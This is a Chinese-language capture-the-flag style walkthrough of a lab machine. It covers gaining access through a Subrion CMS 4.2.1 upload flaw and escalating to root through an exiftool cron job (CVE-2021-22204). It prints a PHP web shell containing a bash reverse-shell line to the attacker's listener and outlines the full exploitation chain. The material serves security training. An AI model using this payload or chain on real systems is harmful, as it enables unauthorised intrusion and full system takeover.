简介
point 10
Warm up
Difficulty Easy
rated by community INTERMEDIATE
Attack and exfiltrate the target!
实验环境
攻击者 Kali 192.168.45.200
受害者 IP 192.168.186.163 Linux
1. 信息收集
收集受害者服务详情
FUZZ测试
有一个robots.txt
2. 漏洞发现和利用
要在/etc/hosts里添加
192.168.186.163 exfiltrated.offsec
管理员用户名为弱密码 admin:admin
登录页面有CMS和版本信息
是subrion cms 4.2.1
Google一下
https://www.exploit-db.com/exploits/49876
解题方法在这
https://github.com/intelliants/subrion/issues/801
我们进入后台并上传一个php木马
vim reverse.phr
<?php echo system("bash -c 'bash -i >& /dev/tcp/192.168.45.200/3333 0>&1'");?>
Kali监听3333端口
点击
http://exfiltrated.offsec/uploads/reverse.phar
就能返回shell
3. 后渗透阶段
所有基本的操作都没用
发现/opt里面有比较有意思的
www-data@exfiltrated:/opt$ ls -l
total 8
-rwxr-xr-x 1 root root 437 Jun 10 2021 image-exif.sh
drwxr-xr-x 2 root root 4096 Mar 10 07:24 metadata
看一下里面的内容
root@zhyann:~/tools# strings image-exif.sh
#! /bin/bash
#07/06/18 A BASH script to collect EXIF metadata
echo -ne "\\n metadata directory cleaned! \\n\\n"
IMAGES='/var/www/html/subrion/uploads'
META='/opt/metadata'
FILE=`openssl rand -hex 5`
LOGFILE="$META/$FILE"
echo -ne "\\n Processing EXIF metadata now... \\n\\n"
ls $IMAGES | grep "jpg" | while read filename;
exiftool "$IMAGES/$filename" >> $LOGFILE
done
echo -ne "\\n\\n Processing is finished! \\n\\n\\n"
看起来是找/var/www/html/subrion/uploads里的jpg文件 用exiftool来查看内容
在看一下定时任务
定时任务也有
POC在这
https://github.com/convisolabs/CVE-2021-22204-exiftool
修改exploit.py中的IP和端口
IP和端口都是攻击者的
python3 exploit.py
这会输出一个图片
将图片上传给受害者
Kali监听你改的端口
然后将图片拷贝到/var/www/html/subrion/uploads就可以了
然后监听端就能返回root的shell了
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-exiftool-privilege-escalation/?source=post_page—–229b20b1fd04——————————–
https://vk9-sec.com/exiftool-12-23-arbitrary-code-execution-privilege-escalation-cve-2021-22204/
总结
学会了subrion cms上传漏洞
学会了exiftool提权